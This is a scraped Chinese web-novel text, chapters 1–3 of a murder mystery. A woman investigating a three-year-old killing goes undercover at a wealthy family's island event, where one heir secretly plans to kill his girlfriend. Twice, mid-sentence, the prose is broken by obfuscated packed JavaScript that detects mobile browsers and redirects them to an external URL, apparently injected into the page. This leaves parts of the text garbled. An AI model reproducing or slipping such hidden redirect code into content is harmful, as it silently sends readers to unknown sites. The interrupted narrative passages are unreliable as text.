《谁杀了ta[本格]》 1. 第 1 章 宛如实质的黑暗笼罩整个房间。 手机铃声突然炸响,撕裂了死一般的沉寂。如果这时候屋里有人的话,肯定要被吓得一哆嗦。 “她应该就在屋里。”门外有人说话,“她手机在屋里。” 门铃声跟着响起,两种不同质感的电子声混杂在一起,让人无端烦躁。 紧接着,屋外的人开始拍打门板,手掌撞击在厚重金属上,发出一声声节奏急切的闷响。 空气以令人不安的频率震颤。 屋内的一切仍旧静止着,像一潭死水,任何嘈杂与震颤都没办法让它泛起一丝波澜。 狭小空间里,过度饱和的声音与完全静止的画面诡异地割裂。 “先生……请您退后……我来开门。” 门外,慌乱脚步声渐近,服务员的话被剧烈奔跑后的气喘冲击地断断续续。 混乱的背景音终以刷房卡的“嘀”声收尾,周围终于安静下来。 房门敞开的瞬间,服务员的声音变得清晰:“不好意思……万能房卡不知道被谁放错了位置,找了好一会儿才——” 房间里涌出的浓烈血腥味,她话没说完,下意识地屏住呼吸。 这房间不大,床就在离门不到三米的地方。进门衣柜挡掉了部分视野,从门口看不到床头,只能看到床尾。 确实有人躺在上面,盖着毛毯安静睡着。 ……睡着?在各种声音轰炸下安静睡着? 这对吗? 服务员思绪跟呼吸一样混乱。 她艰难地咽了口唾沫,凭借职业惯性说出进门的话术:“对不起,打扰了。” 然而,歉已经道了,脚步却在迟疑。 敲门的男人从身后推开她,抢在前面冲进屋里。 “啊——” 恐惧与惊慌交杂的惨叫声几乎在同一时间挤出的喉咙,男人腿一软摔在地上。 不知道是来不及还是一时没了力气,他没有重新站起来,顺势就着摔倒的姿势,爬滚匍匐退出门来,仿佛一只瞬间返祖的猴子,狼狈却又异常迅速,好像慢一秒钟就会被藏在黑暗里的恶鬼吞噬。 “快……快报警。呕——”他退到门外,扶着门框勉强恢复直立姿态,刚张嘴就是一声干呕。 “好,好的。” 混乱中,房门被关上,一切重新归于黑暗。 也不是全然的黑暗——枕边手机重新亮起,屏幕上跳出粗体提示: 7月19日23:08,未读短信。发信人【顾总】,解锁查看内容。 屏幕背光短暂将黑暗撕裂,一个亮点闪现。 那是枚形状独特的吊坠在反光。 铂金不规则圆底上镶嵌着几个不同颜色的钻石,左下角有一处圆孔。 像是……一个迷你调色盘! 这么小众的造型,一看就是定制的。 这会儿挂着吊坠的项链断了,小调色盘落在一块斑驳油画上。画布上随意泼洒着几块黏稠的暗红色颜料。 ……等等! 这不是颜料,而是血迹! 承载这些血迹的也不是油画布,而是一张女人的脸! 手机背光亮度有限,这张脸只有一半暴露在光线下,苍白破碎。 眼角一颗泪痣在红白交织的背景下显得愈发灵动,其他五官特征却已隐在血迹里看不清轮廓。 或者应该说是四官——她的眼睛被利刃挖走了,眼眶空洞得像一个望不到底的血色深渊,凝望着虚空长夜。 如果屋里有人的话,一定会被这骇人的景象吓得尖叫起来。 但是没有。 这屋里已经没有活人了。 —————— 傅悠悠看了眼运动手环上显示的时间:7月13日,14:45。 从公司出发将近两个小时后,终于遥望到目的地了。 她习惯性地抬手,隔着白T柔软的衣料揉了揉胸口硬币大小的吊坠。 这枚钻石吊坠她一直随身带着,定制的调色盘形状非常独特。 临近目的地,快艇速度慢下来,马达声小了不少,但船体的晃动却愈发明显,让人很难不胃袋翻涌。 聊聊天或许能转移一下注意力,她侧头看向旁边坐姿板正的周正。 “周助理,你有没有听说过关于那颗佛珠的传说?” 周正看了她一眼,“什么佛珠?” 他说着,将放在脚边的密码包捞进怀里,换成更加牢靠的双臂环抱姿势, “就是前阵子被警方在暗市查获的那个。我看有小道新闻说这次咱们古月集团为了宣传活动更有话题度,特意与警方达成合作,暂时借用了那枚佛珠。” “是吗?咳,这我真不太清楚。”周助理扯起嘴角僵硬地笑了笑。 “公司里的人都在说,那枚佛珠上有诅咒,能要人的命!据说这珠子上一任买主,在买下它的当晚就死了……周助,咱们这次要护送上岛的,该不会就是这枚佛珠吧?” “咳,这……我还是头一次听说。”周助理脸色有些泛白,将怀里的密码包重新被放回脚边,甚至比刚才放得还远了一点。 注意到傅悠悠试探的眼神,他顿了顿,又把包拉近了些,“那些都是封建迷信,别信。” “知道了。”傅悠悠笑道。 她的笑容很好看,笑眼眯起的弧度将她犀利的眼神遮去了大半,让她整个人看上去柔和了很多,眼角下灰蓝色的小痣又给这笑容增加了一丝灵动。 紧张的心情被这笑容冲淡,周正放松下来,也跟着笑。 周正这人性格跟他壮硕的肱二头肌一样直白,向来不会隐藏情绪。 看他的反应,傅悠悠确定,这次他们护送上岛的,就是那枚自带传说的佛珠。 这个活动说不定真与她调查的那起悬案有关! 大约半个月前,她从古月集团官媒上看到了这次碧竹岛试营业活动的参与人名单,关于那起案子她重点怀疑的嫌疑人名字赫然在列。 从她开始调查这起案子以来,一直没有找到接近嫌疑人的方法。 机会难得,她毫不犹豫报名了活动临聘人员招募。 这次活动有两个临聘岗位,一位负责给参与人员做饭的厨师,一位负责保证寻宝活动标的物安全的“镖师”。 对做饭毫无心得的傅悠悠选择了后者。 原本她只是想争取到接近嫌疑人的机会,却在去古月集团面试的时候,偶然听说这次小岛寻宝活动的标的物竟然是那枚佛珠。 她不知道古月集团究竟用了什么办法说服警方出借证物,只是愈发觉得这活动说不定真能帮她找到苦寻多时的案件真相。 但愿一切都能顺利进行,她想着,又抬手揉了揉胸口的吊坠。 然而世事常难如愿。 那个人影一闪而过的时候,她正站在活动场地落地窗前。 按照活动要求,周正藏宝的时候,她要站在旁边盯守保护。 她看着周正半蹲半跪在大厅正中,啪嗒嗒转动密码锁,大腿和小臂的肌肉绷紧,活像一尊罗汉。 古月集团安排两人上岛一同完成藏宝任务属实有些多余——这位名叫周正的总裁助理身材健壮得想一堵墙,没人会想不开从他手里抢夺东西。 更何况,这岛还未对外开放,今天预约坐官方快艇上岛的就他们两个人,哪里还需要她站岗放哨。 这么想着,她精神松弛下来,扫视四周。 似乎是为了贴合这次试营业活动的主题,这个位于海岛北院的别墅被精心装扮成古旧佛堂的样子。 大厅正中摆着几个蒲团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924471|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再往里有尊一人多高的木质佛像。 室外的阳光从做旧的木门门缝里透进来,形成丁达尔效应,微尘在光束中游移,引着傅悠悠的视线不断上移,扫过做旧的石台、石台后掬着笑意的嘴角,最后赫然撞上一双黑洞洞的眼眶。 傅悠悠猛地打了个寒颤。 这笑面佛的眼眶竟是空的。 屋里不冷,但她还是搓了几下胳膊,又习惯性地揉了揉钻石吊坠,才终于稳住心神。 她避开视线,扭头看向身侧硕大的玻璃窗,窗外一隅仲夏海岛风光总算把她拉回现实。 那个人就是这时闯进她视野的,祂一身黑衣,略过远处草地,直直向这边而来。 肌肉陡然绷紧,傅悠悠瞬间警觉起来。 在他们上岛前,没人上岛。 而带他们上岛的快艇驾驶员离开时说,送完他们两个人,所有官方配备的快艇都要回陆地码头进行检修,耗时一个小时,这期间不会有人上岛。 也就是说,这岛上现在除了她和周正之外不应该出现第三个人。 可那个人影却实实在在出现在了她的视野里,还在不断向这边接近。 有私闯者! 傅悠悠下意识看向周正手里的密码箱。 她实在想不出这座还未对外开放的空荡荡的海岛上除了这枚佛珠还有什么东西值得人偷偷摸摸架船私自上岛。 这个人会不会与三年前的案子有关? 傅悠悠血管里的血液沸腾起来,撞得太阳穴微痛,甚至产生了轻微的耳鸣。 视线锁紧那个黑色人影。 等祂走进逮捕范围,她就推开落地窗冲出去…… 然而那个黑衣人在距离落地窗几百米的地方突然停住了脚步,似乎是感受到了暗中紧盯的视线,他拐了个弯没入别墅西侧的阔叶林中。 想跑? 傅悠悠攥了攥腰间的电/击/枪,回头向周助打了声招呼,毫不犹豫追了出去。 循着人影移动的方向,傅悠悠很快追到了位于岛中别墅区西侧的西院别墅。 这幢别墅风格与用于活动的北别墅截然不同,整体是非常简洁实用的ins风,应该是供客人居住的。 得益于这简约的风格,傅悠悠很快就搜索完一楼客厅,转而上了二楼。 二楼只有一处房间,是间面积巨大的卧室。 房间南侧有一个处玻璃房顶和落地窗包裹的小阳台,洒满海岛阳光。阳台里摆满了龟背竹、天堂鸟,绿意盎然。 而东侧墙壁上,则是占据一整面墙的硕大镜面,足足将视觉空间扩大了一倍,显得这房间更大了。 不过房间虽大,目之所及却没有足以藏人的地方,傅悠悠扫视一圈准备离开。 恰在这时,空荡荡的屋内突然响起一声狞笑,笑声沙哑刺耳,像是带了混响,辨不清来处。 傅悠悠迅速抬起电/击/枪回身巡视四周,房内确实空无一人,可笑声却还在继续,像是从屋子每个角落响起,又像是来自她身边,如同鬼魅不断敲打她的耳膜。 一瞬间,全身血液齐齐涌上大脑,心脏被恐惧感攥紧,她犹如跌进了玻璃罩子,自己的呼吸声和太阳穴跳动声几乎占据了所有听觉。 不知过了多久那笑声终于停止,小阳台上的龟背竹宽大的叶尖微微晃动,打破几乎静止的时空。 傅悠悠视线猛地聚焦过去。 这屋子是封闭的,叶子怎么会无风自动? 她全部注意力瞬间汇聚到小阳台,端着电/击/枪走过去,全然没有意识到身后一个黑影正向她无声靠近。 待龟背竹重新恢复平静时,她已经如断了线的木偶瘫倒在地毯上。 厚绒地毯吸纳着一切声响,连她倒地的“咕咚”声都被完美隐藏,一切重新归于沉寂。 2. 第 2 章 思绪像海边雾气一样滞缓浓稠,待雾气散去,傅悠悠发现自己又回到了北院别墅的落地窗前,而那黑衣人已至窗外。 那人从头到尾是全然的黑色,连脸都隐藏在黑色的连衫帽里。 傅悠悠靠近企图看清漆黑阴影下的张脸,视野却始终模糊。 终于一束光打在那人脸上。 她看清那张脸——眼眶空洞,满脸血污,惊悚可怖如同恶鬼。 画面冲击力太强,她猝然吸了口冷气,既而明白,这是一场冗长又逼真的梦。 知道自己应该挣扎着脱离这场噩梦,但她没有。 她只是一动不动地与它对视,直到对方转身离去。 “别走!”傅悠悠伸手去拦。 她的肢体如鬼魅般轻而易举穿过窗玻璃,扯住它的衣角。“别走!” 黑影应声回过头,连衫帽下的脸却已然变了模样。 皮肤是病态的白,五官凌厉,眼睛里却毫无感情波动…… “……顾汲问!” 傅悠悠倒吸一口冷气,这才像是见了真的恶鬼般,连连后退。 那黑影面无表情地一步步逼近,直到她失去平衡摔倒在地,它走到她跟前,伸出骷髅状的手掌,掐住她的脖子…… 傅悠悠呼喊着挣扎,从睡梦中猛然抽离。 她撑坐在床上,浑身冷汗,喘着粗气。 意识逐渐苏醒,她发现自己身在医院的病床上。 门外护士台的呼叫铃声、巡房医生走动的脚步声混着嘈杂的人声,编织成安全感十足的网,在醒来的瞬间就把她从无援孤岛拉回熙攘人间。 但内心的恐惧仍有残留。 她警惕地环视四周。 无边的白色,床单、墙壁和门窗全部都是干净的白,唯独床前站着的人一身玄黑。 正是顾汲问——针对那起悬案,她重点怀疑的两人之一。 眼前的景象与梦中所见猝然重合,她不由吸一口冷气,鼻腔里猛地灌入消毒水的味,晕倒前的记忆瞬间涌入脑海,尤其那声沙哑狞笑犹然在耳,傅悠悠剧烈咳嗽起来。 恍惚间,她看着他往前走近几步,并向她伸过手来。 这场景几乎跟梦里一模一样! 她下意识抬手格挡,四肢却绵软地像抽走了骨架的棉花娃娃,头也一阵眩晕。 眼见他的手离她的脖颈越来越近,她开始呼救:“救命!” 顾汲问像是没听到,动作不停,继续探身,手略过她的脖颈,按响了床头的护士铃。 “Vip病房隔音很好,求救的话,除了我没人能听到。不过你不用害怕,我目前还没有要杀掉你的打算。”顾汲问盯着她,视线很冷,脸上还是没有丝毫表情,“我今天是来探病的。” “……你认得我?”傅悠悠警惕地问。 “当然。”顾汲问点头。 傅悠悠瞬间紧张起来。 为了安全,她一直暗中调查,从未出现在顾汲问的视野里,他怎么会认得她,又为什么突然出现在她的病房? 顾汲问拿出一份她的简历放在床头柜上,“你是古月集团临聘的保安,在送标的物上岛的时候意外晕倒被送来医院。” “保安”听起来不如“镖师”帅气,但傅悠悠顾不上介意。得知他只是知道她的这一层身份,她长长舒一口气,直截了当地问:“所以古月集团的人住院,为什么是您来探病?” 顾汲问闻言冷冷地勾下唇角:“既然这么问,看来你也知道我是谁。” 傅悠悠不动声色点头:“当然,网上关于顾氏集团铁腕继承人的热门贴子那么多,想不知道都难。” 顾汲问了然颔首,正欲开口,被推门而来的护士打断。 “病人醒了。家属请让一下,我们需要对病人进行体征检测。” 顾汲问蹙一下眉,似乎想解释自己并非家属,最终还是作罢,沉默地让到窗边。 各种检测仪器的声音次第响起,掩盖了几分钟前病房内紧绷的气氛。 傅悠悠隔着庞大的仪器和层层的导线看向他。 仲夏的阳光强烈,透过玻璃勾勒出他的轮廓,肩宽腿长,站姿松弛却挺拔。 傅悠悠刚才的话并非虚言,想要了解他完全用不着专门做背调,长相英俊的豪门继承人总是自带热度,更何况是内部纷争不断的顾家。 网传,顾氏家族最伟大的传承不是资产也不是这个公司,而是高个长腿的遗传基因。老顾总和顾家三个孙辈继承人个个都是男模身材,其中又以顾汲问为最,不仅身材好,还遗传了他母亲优越的相貌。 只是,人太冷血。 现在亲眼得见,网友说的果然没错,顾汲问确实颜值突出身材优越。但顾家是不是真有男模基因,傅悠悠说不上来,她没见过顾氏家族其他的人。 前年退位的老顾总十分低调,鲜有年轻时的照片流出,而顾家孙辈继承人里另外两人则完全没有近期照片见报——这俩人已经被顾汲问亲手送进了监狱。 不过由此可见,传言的最后一句的确属实。 顾汲问确实够冷血。 而在傅悠悠心里,除了这些花边八卦,他还是三年前案子的最大嫌疑人——当年那起案子最大的受益人就是他。 虽然因有明确不在场证明,案发后很快被警方排除嫌疑,但在傅悠悠看来这并不能洗清他的嫌疑。 有钱人总是不必亲自动手的。 所以这次活动中,她最想接近与试探的就是他。 最后一项检查完成,护士走到窗边,向顾汲问说明检查结果。 逆着光看不清表情细节,但她还是能感受到他的冷淡。 他绝不是来探病的,一定另有目的。 护士推着仪器离开后,顾汲问重新站回床边。 傅悠悠恢复镇定,抬头看向他,第一次近距离打量他的五官。 顾汲问的长相与冷血的性格不同,五官虽立体,线条却不锋利,皮肤是冷然的白,像一件精致的白瓷。 如果不是额角那道足以切断眉峰的突兀疤痕,他看起来至少是没怎么有攻击性的。 这瘢痕像是他温润外表下裂出的一丝破绽。 也许是距离拉近带来了压迫感,她盯视片刻,突然又感到一阵眩晕,撑着太阳穴不再看他。 “护士说你现在身体指标正常,万幸没有砸到要害,只留下一点皮外伤。你现在头晕只是昏迷时间较长引起的不适,很快就会消失了。”顾汲问道。 昏迷时间较长? 傅悠悠注意到他的措辞,看了一下手环上的时钟:她竟然已经在医院沉睡了一天一夜! 顾汲问将一份调查案卷递给她,“这是警方结合口供和医院检查结果出的调查报告。你在这里签一下字就好了。” 傅悠悠目露迟疑:“顾总连警方的工作也代劳了?” “顺手之劳,我看门外盯守的警员实在辛苦,就提出替他一会,让他去吃个饭。”顾汲问神情淡淡道,“你只需要签字确认一下就可以了。不用担心,这起落物伤人事故责任古月集团负全责,该有的赔偿一分不会少。” 傅悠悠在意的不是赔偿。 “等等,落物伤人?”她突然意识到他话里不对劲的地方,“你说我是被落物砸晕的?” 难道那个黑衣人和那声狞笑都是她的幻觉? 她抢过调查案卷,急匆匆翻阅。 据周正的口供,他发现她的时候,她倒在西别墅二楼客卧门口,门上方的装饰用石器就落在身侧。医生的检查结果显示,傅悠悠头部伤口也确实是石器重击所致。 结合两方证据,警方判定这是一起由装饰品掉落引起的意外。 这案卷人证物证齐全,左右看不出问题。 但看着案卷里附带的现场照片,傅悠悠的记忆开始复苏。 不,不对。 她记得自己倒地时,人在南侧阳台前,离屋门有一段距离…… 想起来了! 在她倒地之后,有人对她进行过拖拽,她用最后一丝意识奋力反抗,还在那人手上留下了抓痕。 所以,这并非一起简单的意外,而是有人恶意伤害,并将其伪装成意外。 可是,为什么要这样做呢? 傅悠悠拧眉沉思。 顾汲问似乎误以为她在苦恼医疗费,又道:“你可以安心在医院多疗养几天,一切费用都由顾氏集团负责。” 傅悠悠摇头:“不需要。明天我还要上岛工作。” 沉默片刻,顾汲问用眼神指了指床头柜上那份简历:“刚才忘了通知你,明天你不用上岛了,参与活动的都是圈内熟悉的人,标的物并不需要专人看守。这次是策划组失误,古月集团的胡总委托我把简历送还给你,放心,佣金和违约金都会全数给你的,你不会有任何损失。” 傅悠悠眉头拧得更紧。 干劲十足地等着上岛寻找嫌疑人破绽,还未成行计划就落空了,内心不免不甘与失落。 但比起这些情绪,顾汲问出现在这里的真实原因更让她疑惑。 她是古月集团的临聘人员,工作中受伤,怎么说也要由古月集团的法务或者职员过来解释情况和商议赔偿。 为什么会是他顾氏集团总裁来处理这些问题?甚至连解聘的事,都要他顺道传达。 而且赔偿金违约金佣金都给得十分大方。 甚至连警方调查案卷都要亲自看着她签字。 他好像非常需要将这件事结束在当下。 谁会希望这件事立刻了结? 那个黑衣人! 一阵寒意从傅悠悠尾骨升腾起来。 仔细想想,远远看去,那个黑衣人身形与顾汲问确实有几分相似! 她下意识抬眼去瞥他垂于身侧的双手。 如果他就是那个黑衣人的话,手上应该有她挣扎时留下的抓痕。 他皮肤很白,有没有伤痕几乎一眼可见。 右手隐约可见硬朗骨节与青褐色的血管,没有一丝伤痕。 左手上却套了黑色的半掌皮手套,看不到皮肤。 室内温度适宜,带这手套分明不是为了取暖,而是为了遮掩什么。 当然,即便他这半掌皮手套底下真的有伤痕,仅凭这一点,也没办法证明什么。 但或许可以利用这一点,争取到重新上岛的机会。 铆定思绪,她抬头看向顾汲问,神情严肃。 “顾总。这次活动并不像你想的那样安全,岛上或许会有私闯者。恐怕你需要一名随身保镖。” 她边说边观察顾汲问的反应。 在说到私闯者时,顾汲问似有所动,眉尾微微上挑了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924472|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“有私闯者?” “没错。实不相瞒,昨天我受伤并非意外事故,是有人在背后袭击我。而我之所以会在任务中跑去西别墅,就是因为我在岛上看到了第三个人的身影。昨天登记在册的上岛人员只有我和周正,这一点案卷里写得很清楚。如果这人仍躲在岛上某处,很有可能趁活动期间再出来伤人。” 这次换顾汲问皱眉。 他沉默片刻,看向傅悠悠,目光犀利起来:“那人长什么样?” 他的反应和微妙的注意力偏差,让傅悠悠更觉得他可疑。 他似乎对有人私闯小岛这件事毫不意外,而且比起活动中人员安全,他显然更加在意傅悠悠对那个人的记忆。 如果他真是那个私闯者,作为一个明天就能以活动参与者身份上岛的人,却要提前偷偷上岛,一定是有不可见人的目的。 这时候要是把自己记忆里的细节抖搂出来,那他刚才那句“目前还没有杀你的打算”恐怕就要作废了。 傅悠悠故作遗憾状摇头。 “当时事情发生很突然,我没能看到那个人的脸。但是混乱中,我好像记下了一些细节,但我现在头晕的厉害,怎么也想不起来。顾总如果想雇私人保镖,可以考虑我。我比其他人更有优势,能打,对小岛构造更加熟悉,而且随时可能想起私闯者的特征。” 顾汲问视线定在她脸上,带着明显的审视意味。 他对她的话还带着几分迟疑。 傅悠悠眼神坦荡地回视,余光里,病房门上透明玻璃外有人向内张望。 那人穿了警服,应是正是被顾汲问支开的警员。 几分钟前他就已经回到了门口,几次向屋内观望,似乎在犹豫要不要进来把顾汲问请出去。 傅悠悠无声勾了下唇角,以退为进:“顾总不想雇我也没关系,相信警方得知这是一起故意伤人案后,会派人上岛保护活动者的安全。一旦我想起关于黑衣人的细节,我也会立刻告知警察的。” 她的话面面俱到,似乎处处都在为他的安全考虑,但不知为什么顾汲问隐隐嗅到一丝威胁的意味。 也许是因为她看似纯良的眼眸深处,总涌动着一股狠劲。 他不喜欢被威胁,曾经威胁过他的人,没有一个能全身而退。 但这次,他不得不接受她的提议。 碧竹岛活动必须如期举行,而在活动期间,绝不能有警方介入。 斟酌片刻,他眸子里划过一丝冷意:“不要向其他人透露岛上有私闯者的事。你明天以助理身份跟我一起上岛。” 傅悠悠满意地笑起来,眼底那股狠劲褪尽,眼神澈然。 “遵命,Boss!” 忽觉这笑容似曾相识,顾汲问一瞬出神,再回神时内心的怅然无以复加。 他眉心拧成一团,瞥开视线。 顾汲问的反应在傅悠悠看来是对她明晃晃的厌恶。 而厌恶常常来源于恐惧,这恰恰说明她打到了他的七寸。 当然这也意味着她的处境会变得危险。 不过她自信能够保护好自己。 况且她现在迫切地想要解开那起案子,已经顾不得那么多了。 …… 7月15日,上午十点左右,傅悠悠第二次登上碧竹岛码头。 印着古月集团标志的亮红色快艇调转方向呼啸着离开,在平静海面划开一条口子,留下久久不散的浪痕。 快艇一走,小岛就基本处于封闭状态了…… 她最后望了一眼来时的方向。 二十多分钟的快艇行程,早已把陆地港口远远地甩在了视野之外,目之所及只有无边深海,平静沉寂却又暗藏波涛。 “顾三!” 一个爽朗男声在身后不远处响起。 傅悠悠循声回头,看到码头出口处,正站着一男一女。 身穿度假风花衬衫的男人正笑意盈盈地向他们招手。 “翊风。”顾汲问应一声,向那两人走去。 胡翊风,古月集团大公子。 他的孪生弟弟胡翊云就是碧竹岛项目的主要负责人。 实际上在傅悠悠对参加活动的几个人做背景调查前,就对胡翊风略有耳闻。 他和弟弟这对双生子,算是总裁圈中的两个极端。 他弟弟是少有的勤勉自持,他则是少有的放纵肆恣。 不过,傅悠悠没心思复盘他的各种花边新闻。 刚才那一声“顾三”,让她恍然记起前天晕倒前听到的声音。胡翊风带着些许沙哑的嗓音,竟与那声音有几分相似。 当时屋内无人却响起人声,情境太过诡异,她一直以为那是幻听。 毕竟最近几年幻听对于她来说并不少见。 但现在想想,很可能那并非幻听,而是藏在某处的私闯者发出的真实笑声。 顾汲问声音低沉有磁性,与那时听到的声音完全不同。 那个黑衣人会不会另有其人? 她不动声色看向胡翊风的双手,手上皮肤完整,没有破损的痕迹。 正欲松一口气,忽然听到胡翊风在她耳边轻道了句:“悠悠,我们最近几天是不是见过。让我想想,好像是……前天?” 傅悠悠猛地抬头看他。 对方仍是笑意盈盈的样子,可她心底却升起冷意。 3. 第 3 章 胡翊风唇角噙了笑,饶有兴味地观察对方的反应。 这个跟着顾汲问上岛的女人,他第一眼就认出来了,正是前两天上岛预演杀人计划的时候不小心撞上的那个。 当时怕闹出人命影响碧竹岛活动正常进行,只是把她迷晕,又找了个理由把她解聘了。 没想到顾汲问竟然反手就把她聘来当贴身保镖。 她如果认出他来,肯定会影响后续的计划。 啧,早知道前天就应该杀掉她的,只要在活动结束前把尸体藏好不被发现不就可以了嘛。 他有些烦躁。 傅悠悠盯着他打量片刻,突然一拍脑门:“啊,想起来了。” 果然。 胡翊风挑眉的瞬间已起了杀意。 然而傅悠悠接下来的话,又将他心里的杀意压了回去。 “您是前天我去古月大厦与周助理汇合的时候,进门时不小心撞到的那位吧。真是抱歉,我当时太着急了。” 胡翊风眯起瞳仁,不动声色地观察,见她眼里丝毫没有惧色或者警觉,全然只有歉意。 他听说,这姑娘失去了事发前后的记忆,那起事件最终被当做落物伤人处理。 看来的确如此。 但还是太巧了,顾氏集团那么多保镖,顾汲问为什么要选她上岛? 胡翊风嘴上笑说:“没事,不用放在心上。”脑子里飞速推敲顾汲问这么做的用意。 他做事向来是要有利可图的。 雇这个姑娘对他有什么利? 胡翊风压着眼角思索片刻,恍然明了:顾汲问是为找一只替罪羊! 虽然保镖有很多,但明确知道标的物所藏位置的就她一个。 如果那佛珠在活动过程中失窃,那这个保镖自然就会引走所有怀疑。 没错,一定是这样。 自打得知顾汲问提出用那颗佛珠作为碧竹岛活动标的物,胡翊风就看破了他的计划。 顾家收藏室里珍珠玉石数不清,他为什么会偏偏盯上警方物证室里那枚佛珠,费尽周旋也要暂时借用? 因为他想像三年前那样,再上演一出监守自盗。 圈子里都知道,顾汲问不会在同一个坑里栽倒两次。 三年前那个案子,就因为这珠子留下了隐患。 当时,顾汲问的创业合伙人在一次游轮拍卖会当晚被杀,死者于拍卖会拍下的珠子就此不知所踪。 警方一直按照杀人抢劫案在查,三年都没有找到真凶,最终成了悬案。 在那之后,顾汲问的人生就像踩了加速器一样,带着自己创立的公司回归顾氏,短短两年多就干脆利落地处理掉两个竞争对手,独揽继承者之位。 有人说顾汲问是受了刺激,才会一改往日清高的姿态,杀回顾氏。 胡翊风不这么想。 他一早看就穿了顾汲问的野心。 会有人放着上亿家产不要,非要自己创业吗? 怎么可能! 顾汲问只是在羽翼未丰的时候装傻,等到时机成熟,自会展露爪牙。 至于那个被杀掉的合伙人,估计是与其意见不合,不接受并购,被他买凶除掉罢了。 就像踢掉一颗不知好歹的石子那样简单。 不过顾汲问运气还是差了点,那枚失窃的佛珠在几个月前重现于世,并立刻被警方作为凶案证物查获。 好在,警方没能在上面检测出有用的生物痕迹。 但这只是暂时的。 现在科学技术发展这么迅速,说不定很快就能从其上采集到凶手的DNA,只要锁定凶手的身份,顾汲问买凶杀人的事情很快就会曝光。 这珠子在警方手里,对于顾汲问来说,就像是埋下了一颗定时炸弹。 所以他才要以活动为由将它借出,重新上演一出佛珠失窃的闹剧…… 现在有这个临聘的保镖背锅,看来他计划的最后一环也有了着落。 胡翊风并不在意顾汲问利用他家小岛的宣传活动搞事情。 他想怎么搞无所谓,只要别影响到他实施策划已久的杀人计划就行。 他笑意慵懒,看向身旁的女人。 何美是他相处时间最长的一任女友,长到身边的人感到震惊的程度。 这并不是他遇到了真爱,而是受到了威胁。 她拿到了他吸du的把柄,并以此要挟他如果分手的话,就会把这件事告知媒体。 分不分手对胡翊风来说没什么所谓,但考虑到这事传出去会影响古月集团的声誉,他决定不忍了。 他不允许任何人动他的东西! 所以他要让她永远地闭嘴。 不过跟顾汲问不同,他不打算雇凶,那太容易留下把柄了。 他要趁这个活动,亲手把这个女人除掉。 为此,他耗时几个月做出了一个杀人计划。 只要计划无差池进行,何美死亡时,他将拥有完美的不在场证明。 他对自己精心定制的杀人计划很有信心。 但这个叫傅悠悠的保镖无疑是他的定时炸弹。 如果在警方调查的时候,她突然想起前天的事将他指认出来,那他精妙的不在场证明很有可能会被拆穿。 他决不允许这样的事情发生。 胡翊风温柔地将何美搂在身前,垂眸笑意盈盈地看着她姣好的面庞。 没关系,等杀掉你,再找机会把这个叫傅悠悠的女人除掉好了。 他用心声暗暗向她低喃。 本来看谁都深情的桃花眼,此刻格外爱意盈眸,任谁看了也绝想不到他已经为杀她做了周全的准备。 私人互通姓名后,走向码头几百米外的电瓶车停放点。 木质的车棚下,停放着两辆景区常见的摆渡车,只是车型较小,一辆车只有三排车座,加上副驾驶位顶多只坐六个人。 “啧又是这种蜗牛车。”胡翊风显然对岛上的这种官配交通工具的速度不太满意。 “这种车多好,可以慢慢地看沿途风景,这才有度假的样子嘛。”何美笑着坐到中间一排。 “一共就两辆车,咱们是现在就走,还是等你弟来了一起走?”顾汲问看向胡翊风。 一听“你弟”这俩字,原本笑嘻嘻的胡翊风立刻变了脸,二话不说坐到了何美旁边。 “走走走,现在就走,我可不想看到胡翊云那张臭脸。” “又吵架了?”顾汲问坐到车子最后一排。 傅悠悠也跟着坐到了最后一排。 “我们都半年没联系了,没架可吵。这次活动要不是你联系我,我是肯定不会来的。”胡翊风道。 何美早就听腻了他对弟弟胡翊云的抱怨,撇开话题问:“司机什么时候来?” “岛上好像没有配备司机。”傅悠悠道。 她对这次活动里所需的工作人员岗位熟得不能再熟,但凡还有司机这个选项,她是不会为了上岛冒着危险也要给顾汲问当保镖的。 “这次活动岛上只招了一名厨师。”本来还有一个镖师,现在已经被开除了。 傅悠悠不满地撇撇嘴。 胡翊风在旁边啧了一声,又将话题扯回对弟弟的控诉:“胡翊云这个扣门货。” 傅悠悠看看身边的人。 俩豪门继承人,一个继承人女友,她自知这司机是责无旁贷了。 “我来开车吧。”她主 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自打进屋后,顾汲问就窝进沙发里闭目养神,本就苍白的脸这会儿甚至有些发灰,她甚至几度怀疑他人快不行了。 以顾汲问私人保镖名义上岛,活动还没开始,却先要了他半条命,这实在并非她本意。 他如果因身体原因退出活动,她也自然没办法继续留在岛上,还怎么继续调查。 她有些坐不住,借口出去透透气,出了南院别墅,往西院别墅方向走去。 从顾汲问的状态来看,她在岛上的时间可能随时被终止。 她必须做点什么。 但是参与活动的人都还没来全,她现在能做的,只有尽快去前天那起事件的现场,看能不能找出闯入者留下的蛛丝马迹。 这个小岛的布局她在第一次上岛的时候,就已经摸清楚了。 别墅区位于岛中心位置,正中是一个小花园,围绕花园分别有东南西北四个别墅院落。 别墅区并不大,从傅悠悠所在的南院别墅出来,步行到西院别墅需要大约十五分钟,如果开摆渡车的话可能只需要不到十分钟。 西院别墅这次仍旧是虚掩着门。 傅悠悠很快就来到了二楼卧室。 阳台上的热带植物蓬勃茂盛,一如初见。 傅悠悠踱步到印象中自己倒下前站立的位置,然后将自己想象成那个闯入者,撤步站到当时那个惊慌失措的自己身后。 